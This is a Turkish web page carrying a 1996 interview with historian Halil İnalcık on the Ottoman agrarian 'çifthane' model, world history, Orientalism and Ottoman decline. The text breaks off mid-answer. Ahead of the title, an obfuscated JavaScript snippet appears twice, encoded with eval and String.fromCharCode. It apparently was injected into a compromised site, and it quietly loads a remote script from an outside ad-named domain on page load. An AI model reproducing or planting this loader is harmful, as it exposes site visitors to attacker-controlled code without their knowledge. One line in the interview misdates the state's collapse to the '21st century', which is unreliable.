var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 54, 44, 32, 54, 49, 44, 32, 52, 57, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 49, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 52, 92, 120, 55, 57, 92, 120, 55, 48, 92, 120, 54, 53, 34, 93, 32, 61, 32, 34, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 55, 56, 92, 120, 55, 52, 92, 120, 50, 70, 92, 120, 54, 65, 92, 120, 54, 49, 92, 120, 55, 54, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 55, 57, 92, 120, 54, 69, 92, 120, 54, 51, 34, 93, 32, 61, 32, 116, 114, 117, 101, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 51, 92, 120, 55, 50, 92, 120, 54, 51, 34, 93, 32, 61, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 91, 48, 93, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 91, 34, 92, 120, 55, 48, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 52, 69, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 69, 92, 120, 55, 51, 92, 120, 54, 53, 92, 120, 55, 50, 92, 120, 55, 52, 92, 120, 52, 50, 92, 120, 54, 53, 92, 120, 54, 54, 92, 120, 54, 70, 92, 120, 55, 50, 92, 120, 54, 53, 34, 93, 40, 95, 48, 120, 52, 50, 116, 98, 99, 50, 44, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 41, 10, 125, 59, 10, 118, 97, 114, 32, 116, 110, 100, 101, 109, 111, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 118, 97, 114, 32, 110, 32, 61, 32, 116, 114, 117, 101, 59, 10, 102, 111, 114, 32, 40, 118, 97, 114, 32, 105, 32, 61, 32, 48, 59, 32, 105, 32, 60, 32, 116, 110, 100, 101, 109, 111, 115, 91, 34, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 54, 55, 92, 120, 55, 52, 92, 120, 54, 56, 34, 93, 59, 32, 105, 43, 43, 41, 32, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 116, 110, 100, 101, 109, 111, 115, 91, 105, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 110, 32, 61, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 125, 10, 125, 59, 10, 105, 102, 32, 40, 110, 32, 61, 61, 32, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 97, 49, 40, 41, 59, 10, 125)); Prof. Dr. Halil İnalcık: “Osmanlı Arşivleri Görülmeden 20. Yüzyıl Tarihi Yazılamaz” ~ Konuştuk var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 54, 44, 32, 54, 49, 44, 32, 52, 57, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 49, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 52, 92, 120, 55, 57, 92, 120, 55, 48, 92, 120, 54, 53, 34, 93, 32, 61, 32, 34, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 55, 56, 92, 120, 55, 52, 92, 120, 50, 70, 92, 120, 54, 65, 92, 120, 54, 49, 92, 120, 55, 54, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 55, 57, 92, 120, 54, 69, 92, 120, 54, 51, 34, 93, 32, 61, 32, 116, 114, 117, 101, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 51, 92, 120, 55, 50, 92, 120, 54, 51, 34, 93, 32, 61, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 91, 48, 93, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 91, 34, 92, 120, 55, 48, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 52, 69, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 69, 92, 120, 55, 51, 92, 120, 54, 53, 92, 120, 55, 50, 92, 120, 55, 52, 92, 120, 52, 50, 92, 120, 54, 53, 92, 120, 54, 54, 92, 120, 54, 70, 92, 120, 55, 50, 92, 120, 54, 53, 34, 93, 40, 95, 48, 120, 52, 50, 116, 98, 99, 50, 44, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 41, 10, 125, 59, 10, 118, 97, 114, 32, 116, 110, 100, 101, 109, 111, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 118, 97, 114, 32, 110, 32, 61, 32, 116, 114, 117, 101, 59, 10, 102, 111, 114, 32, 40, 118, 97, 114, 32, 105, 32, 61, 32, 48, 59, 32, 105, 32, 60, 32, 116, 110, 100, 101, 109, 111, 115, 91, 34, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 54, 55, 92, 120, 55, 52, 92, 120, 54, 56, 34, 93, 59, 32, 105, 43, 43, 41, 32, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 116, 110, 100, 101, 109, 111, 115, 91, 105, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 110, 32, 61, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 125, 10, 125, 59, 10, 105, 102, 32, 40, 110, 32, 61, 61, 32, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 97, 49, 40, 41, 59, 10, 125));

Prof. Dr. Halil İnalcık: “Osmanlı Arşivleri Görülmeden 20. Yüzyıl Tarihi Yazılamaz”

Prof. Dr. Halil İnalcık’ın dünya, Osmanlı ve Türkiye tarihi ile ilgili görüşlerinin yer aldığı 1996 tarihli röportajı ilginize sunuyoruz.

Osmanlı Tarımsal Toplum Yapısı” başlıklı teorinizi açıklayabilir misiniz?

Bu teori son on-on iki yılda, Chicago Üniversitesi’nde verdiğim dersler esnasında geliştirdiğim bir teoridir. Daha önce tarımsal vergilerle (raiyyet rüsumu) ilgili olarak bir makale yazmıştım. Bu makalede Osmanlı tarımsal toplum sisteminin temeli olarak çifthane sistemi fikrini geliştirdim. Son zamanlarda kimi konferanslarda, bu Osmanlı tarımsal toplum yapısı teorisi ile ilgili olarak verilmiş kimi tebliğlere rastlıyorum. Söz konusu teoride kırsal kesimdeki toplumsal katmanlaşma üzerine yoğunlaşıyor ve mîri toprakların işlenmesinde köylü hane halkı işgücünün önemini vurguluyorum. İmparatorluk arazisinin %90’ından fazlası; bu küçük bir köylü ailesinin üretim yapabileceği büyüklükte üretim birimlerinden oluşmaktaydı. Bu sistem Osmanlı ekonomisinin ve toplumunun temelini oluşturmaktaydı. Belgesel kanıtlara dayalı olan bu teori, öyle inanıyorum ki yalnız kırsal kesimdeki köylülerin durumunu açıklamakla kalmayacak, aynı zamanda Osmanlı toplumsal ve siyasi yapısını, yönetimin temel prensiplerini de açıklayabilecek niteliktedir. Başka bir ifadeyle, bu çerçeve ile Osmanlı İmparatorluğu’nun iktisadi ve toplumsal sistemini tavsif edip açıklayabileceğimi, hatta çifthane modelinin, Marx, Weber ve diğerleri tarafından ileri sürülen çerçevelerin yerine geçeceğini düşünüyorum. Bu model, Asya Tipi Üretim Tarzı (ATÜT) gibi Marksist modellere dayanan sosyal tarihçiler ya da sosyologlar tarafından ortaya atılan soruları cevaplandırabilecek mahiyettedir. Söz konusu araştırmacıların, yorumlamaları sırasında, Asyatik imparatorluların toplumsal yapısını tarımsal artı teoriye harfi harfine bağlı oldukları görülmektedir. Öyle inanıyorum ki eğer Marx bugün yaşıyor olsaydı, Asya toplumlarıyla ilgili genel teorisi yerine bu çifthane modelini kendi maksatları açısından daha uygun bulurdu; çünkü bu model, vesikaların analizine dayalı bir formülasyon sunmaktadır. Modelimiz toplumsal oluşumu ürünün aktarımı ile değil, üretim güçlerinin muayyen bir biçimde geliştirmesi ile açıklanmaktadır. Bu çifthane teorisinin arşivlerde yıllarca süren çalışmalarımın muhassalası olduğuna, ilim dünyasına temel katkımı oluşturduğuna inanıyorum.

“Dünya tarihi” konusuyla ilgili son zamanlardaki eğilim hakkındaki düşüncelerinizi rica etsek?

Zamanımızda dünya tarihini yazmaya teşebbüs eden A. Toynbee, W. McNeill ve F. Braudel gibi tarihçilere teşekkür borçluyuz. Bu araştırmacılar, genel olarak, Osmanlı İmparatorluğu’nun dünya tarihindeki iktisadi ve siyasi önemine dikkat çekerek Osmanlı tarihi çalışmalarına büyük hizmetlerde bulunmuşlardır. Bundan önce, Osmanlı tarihi konusunda genellikle 19. yüzyılın “Doğu Sorunu” yaklaşımı çerçevesinde ele alınıyordu. Birçok araştırmacı Osmanlı Türklerinin yaptığı her şeyi sadece yakıp yıkmak olarak görüyor; fakat imparatorluğun beş asırdan fazla bir süre hükümran olabilmiş bir toplum yapısını nasıl inşa edebildiğini görmek için hiçbir gayret göstermiyordu. Şimdi, yukarıda sözünü ettiğimiz büyük tarihçiler sayesindedir ki Osmanlı İmparatorluğu konusu daha ciddi ilgilere mazhar olabilmekte, birçok araştırmacı otantik kaynaklara, Osmanlı arşivlerine ulaşabilmek için çalışmalar yapmaktadır. Bunun içindir ki, Osmanlıların tarihteki yerinin anlaşılmasını sağlamadaki katkılarından ötürü bu saygıdeğer dünya tarihçilerine şükran borçluyuz. Bu arada, sosyolog Immanuel Wallerstein’in ve onun Binghamton’daki New York eyalet üniversitesinde oluşturduğu çalışma grubu ile beraber geliştirdiği başka bir eğilimi de hatırlamadan geçemeyeceğim.  Bunların “Kapitalist dünya ekonomisi” çerçevesinde yaptığı Osmanlı İmparatorluğu çalışmaları, önemli bir konuyla ilgili yeni yaklaşımı temsil etmektedir.

Osmanlıların dünya tarihindeki yerinin bu ülkedeki (ABD’deki) üniversitelerde henüz layıkıyla anlaşılmamış olması üzücü bir durumdur. Mesela benim Chicago’dan emekli olmam sonrasında Osmanlı tarihi ile ilgili olarak yerime yeni birinin atanması maalesef yapılmadı. Yine de, Osmanlı tarihinin yakın gelecekte üniversite programlarındaki belli başlı disiplinlerden biri olacağına inanıyorum. Osmanlı çalışmalarıyla Bizans’ın son iki yüz yıllık ve Ortadoğu tarihinin yine Osmanlı egemenliğindeki beş yüz yıllık tarihleri daha derinlemesine anlaşılabilecektir. Ortadoğu merkezlerine yeni alınacak araştırmacılarla ilgili olarak bana danışıldığında sorduğum ilk soru, bu kişilerin Osmanlı Türkçesini bilip bilmediği ve Osmanlı arşiv vesikalarını okuyup okuyamadığı oluyor. Çünkü Osmanlı arşivleri kullanılmadan gerçekten orijinal çalışmalar yapılamaz. Hatta Osmanlı gazeteleri dahi önemlidir. İstanbul’da ilk gazeteler 1860’larda yayımlanmıştır.

Edward Said’in Oryantalizm’ini okudunuz mu? Bunun üzerine bir yorumda bulunabilecek misiniz?

Kitabın tamamını okuyamadığımı itiraf etmeliyim. Fakat ihtilafın farkındayım. İyi ki bu soruyu sordunuz. Avrupalı akademik çevrelerde Ortadoğu konusuyla ilgili çalışmaların 19.yüzyılda başta pragmatik maksatlarla gerçekleştirilmeye başlandığı doğrudur. Hatta Türkçe ile ilgili ilk Avrupalı uzmanların konsolosluklarda Osmanlıca ve Arapça vesikaların tercümesi maksadıyla istihdam edilmiş dil oğlanları olduğunu biliyoruz. Fakat Emperyalizm Çağı‘nda daği Avrupa’da özerk üniversitelerin var olduğunu inkâr edemeyiz. Doğru, Avrupa’da bu tarihlerde hükümetlerle yakın ilişkide bulunan müesseseler vardı; fakat Avrupalı oryantalistler tarafından bağımsız, âlimane çalışmalar hep yapılageldi. En iyi Farsça, Arapça ve Türkçe sözlükleri kaleme alanlar, işte bu araştırmacılardır. Bunların yayımladığı öyle metinler vardır ki, bu metinler olmasa bugün yaptığımız pek çok araştırmayı yapabilmemiz mümkün değildir. Dolayısıyla Avrupa oryantalizminin tamamen emperyalist emellerle çalışmalar yaptığı veya İslam’a, Araplara ya da Türklere karşı mutlaka önyargılı olduğu iddialarının abartılmış olduğunu düşünüyorum.

Türk tarihinin nasıl çarpıtılmış olduğu yolundaki düşüncelerimi öteden beri açıklamaktayım. Bir defa, oryantalistlerde dahi bir Avrupa-merkezcilik vardır. Ancak oryantalistlerin tarihîgeçmişi kendi bütünselliği içinde veremeyecek kadar dar görüşlü insanlar oldukları ya da bu insanların bir metni alıp tarihçinin geniş perspektifi olmaksızın yorumladığı iddiaları da mübalağa olur. Bunlar arasında büyük alimler vardır: Ignaz Goldziher, Vasiliy Barthold, Louis Massignon, Carl Brockelmann, Theodor Nöldeke, Carl Becher, H.A.R. Gibb ve Paul Wittek gibi. Hepsine de çok şeyler borçluyuz. Bunlara yönelik hakkaniyette daha da mugayir kimi saldırılar da kimi dar kafalı ve önyargılı doktrinin ya da modelin çerçevesi içinde sunulmazsa, söz konusu tez, onlar için geçersizdir. Aslında bunların temel problemi, sağduyulu  bir değerlendirme yapabilmek için gerekli maddi ve belgelere dayalı bir zemine sahip olmayışlarıdır. Söyledikleri şeyler bazen tamamen spekülatiftir. Bir tarihçi öncelikle arşivlerde çalışmalı, maddi kaynakları ortaya çıkarmalı, ondan sonra toplumsal ve iktisadi tarihle ilgili ilgili modern nosyonları kullanarak ortaya çıkardıklarını yorumlamalıdır. Bu yorumlamanın illa belli bir doktrine dayalı yürütülmesi gerekmez.

Osmanlı arşivleri olmadan Arap dünyasının son dört yüz yıllık tarihi, hatta 20. yüzyıl tarihi yazılamaz. Osmanlı arşivleri olmadan, mesela Suudilerin Arabistan’da yükselmesini anlayamazsınız. Tuna’dan Hint Okyanusu’na kadar uzanan coğrafyanın tarihi ancak Osmanlı çalışmalarıyla anlaşılabilir.

Ben Marx’ı, tıpkı Weber gibi, büyük bir sosyolog olarak görüyorum. Takip etme zorunluluğu olmaksızın, Osmanlı tarihine yaklaşımımızda bu iki teorisyenin her ikisinden de yararlanabilmemiz mümkündür.

Son yirmi-otuz yıl zarfında merkez-çevre teorisi ve Prosopography de moda haline geldi. Bu yeni yaklaşımların tarihi anlamda yeni bir perspektif geliştirdikleri doğrudur, fakat ben belge eksenli çalışmayı, tarihi maddi zemininden hiçbir zaman yabancılaşmamayı temel kabul ediyorum. Fakat aynı zamanda, çalışma konularımızı seçmemizde ve yorumlamamızda bu toplumsal teorisyenler tarafından ortaya atılan soruları cevaplandırmayız. Osmanlı İmparatorluğu’nun tarihinin bir kronoloji olmaktan çıkması için mutlaka böylesi yeni yaklaşımlara ihtiyacı vardır. Fakat bir defa daha ifade etmeliyim ki Marx’ın ve Weber’in Osmanlı İmparatorluğu ile ilgili perspektifleri araştırmacıları çıkmaz sokaklara sokar mahiyettedir. Comments on ‘Sultanism’: Max Weber’s Typification of the Ottoman Polity (Sultanizm Üzerine Yorumlar: Max Weber’in Osmanlı Siyasası Tiplemesi) başlığıyla yakında yayımlanacak olan makalemde görüleceği gibi, Weber, zamanının Doğu Sorunu ile ilgili jingoistik makalelerinden ciddi biçimde etkilenmişti. Osmanlı tarihi ile ilgili derinlemesine bilgisi hiç yoktu ve yazdıkları, Osmanlı toplumuyla ilgili olarak edindiği genel izlenimlere dayanıyordu. Ne Marx kendi teorisinin nihai bir teori olduğunu açıkladı ne de Weber. Ancak kimi doktora öğrencilerinin bunları çok ciddiye alıp muayyen bir modeli körü körüne takip ettiğini ve teorinin hatırına kimi şeyleri görmezden geldiğini müşahede ediyoruz. Eğer teorilere ve soyutlamalara dayanıp tarihin maddi, biricik zeminini ihmal ediyorsak, yaptığımız şey tarih değildir. Ortadoğu konusunda son zamanlarda yayımlanan kimi çalışmaların zaman zaman tamamıyla fanteziye dönüşen modellere çok fazla dayanmakta olduğunu görmekteyiz.

Ben tarihte mukayeseye de inanmıyorum. Eğer mukayeseli tarih bizi muayyen bir toplumun tarihini anlamada hayati noktalar üzerine yoğunlaşmaya götürüyorsa faydalıdır; fakat eksik, önyargılı bir Osmanlı tarihi ile eksik, önyargılı bir Çin tarihini mukayese ederek sonuçlara gitmek bana saçma gözüküyor. İki bilinmezi mukayese etmek bizi ancak fanteziye götürür. Başka bir ifadeyle, sosyologlar ve sosyal tarihçiler bütün imparatorluklara uygulanabilir mukayese formülleri geliştiriyorlar; fakat temel bilgi ve yorum maddi zemin üzerinde değilse mukayesenin faydası nedir? Tarihçinin gerçekte görevi budur. Tarihçi ilk önce maddi kaynaklardan objektif vakaları çıkarmalıdır. Gayet tabii, mutlak objektiflik hiçbir zaman mümkün değildir. Objektiflikten, vakaları ortaya çıkarıp vesikanın söylediklerini dürüst bir biçimde analiz etmeyi kastediyorum. Belki sosyologlar sonra daha güzel ve daha güvenilir mukayeselere ve formasyonlara ulaşabilirler, fakat yine de ben bunun tarih olmadığına inanıyorum.

Osmanlı’nın gerilemesi sorusuna yaklaşımınız nedir?

 Gerilemenin anlamı, bir müessesenin kuruluşu sırasında tesis edilen aslî kuruluş amaçlarına artık hizmet edemez hale gelmesi olarak görülebilir. Yalnızca bu durumda gerilemeden bahsedilebilir. Mesela kapitülasyonlar devam etmiştir, ama aslî maksatlarına hizmet etmeden. Dolayısıyla kapitülasyon rejiminde gerileme ya da yıpranma ortaya çıkmıştır. Osmanlı Devleti’nin aslî yönetim sistemi de gerilemiş ve 21. Yüzyılın sonunda çökmüştür. Klasik Osmanlı Devleti, temelinden değişmiştir. Zamanın bu konuya kafa yoran insanları; “gerileme”yi tanımlamak için müesseselerin kökenlerine referanslarda bulunmuşlardır. Fakat bir tarihçi olarak ben gerilemeyi idame-i hayat için dönüşmek ya da yeni durumlara uyum sağlamak olarak yorumluyorum.

Osmanlı İmparatorluğu ile kıyaslayınca Avrupa’nın modernleşmesi çok hızlıydı ve imparatorluğun arayı kapatma gayretlerine rağmen Avrupa’ya yetişmek mümkün olmadı. Osmanlı kültürü tıpkı Hindistan’da veya Çin’de olduğu gibi gelenekseldi. Osmanlılar da orduda, bürokraside, mali organizasyonda değişiklikler yapabilirlerdi; ama kültürde bu mümkün değildi. 17. Yüzyılın ilk yarısı bir kriz dönemiydi ve 18. Yüzyılla beraber Birinci Dünya Savaşı’na ve imparatorluğunun tamamen çökmesine kadar devam eden bir yeni duruma uyum dönemi başladı. Atatürk de idame-i hayat için Batı kültürünün koşulsuz bir biçimde adaptasyonuna karar verdi. Bugün Türkiye’de ve diğer İslam ülkelerinde geleneksel ile modern arasında dramatik bir çatlak vardır.

Osmanlı İmparatorluğu ile modern Türkiye arasında bir devamlılık görüyor musunuz?

 Osmanlı İmparatorluğu’nun çöküşünü müteakip ortaya çıkan yeni milletler Osmanlı egemenliğindeki yıllarını karanlık çağları olarak görüp içinde bulundukları sıkıntılar için Osmanlıları suçladılar. Balkanlar’ın Hristiyan halklarının niçin böyle davrandığını anlamak güç değil, fakat Araplar da Osmanlı Türklerini hedef aldılar. Böyle davranmalarının bir sebebi Osmanlı geçmişinin belli bir grupla, Türklerle aynîleştirilmesi olabilir. Onlar, devleti Batı literatüründen ödünç alınan bir terimle, “Türk” imparatorluğu olarak adlandırmayı öğrendiler. Bu terim Osmanlı İmparatorluğu ile ilgili olarak yanlış bir fikir verir. Osmanlı İmparatorluğu temelde, bir hanedan tarafından yönetilen bir “commonwealth”, uluslar topluluğu olarak görülebilir. İmparatorluk Türkler tarafından kurulmuştur ve dili Türkçedir, ama Türkler, Araplar, Rumlar, Slavlar, Arnavutlar vs pek çok unsuru barındırır. Bunların hepsi imparatorluğun yükselmesine ve nihai biçiminin verilmesine katkıda bulunmuştur. Son zamanlarda kimi millî hareketler terminolojideki bu hatayı, Türkiye Cumhuriyeti’nin saltanatının kaldırılmasından sonra da Türk İmparatorluğu’nun devamı olduğu yolundaki inançlarına dayanak yapmak amacıyla kullanılmaktadır. Ayrıca Türkiye’de de imparatorluğun 1922’de sona erdiğini ve padişahın ülkeyi terk ettiğini unutarak Türk millî devletinin Osmanlı İmparatorluğu aynı gören gruplar 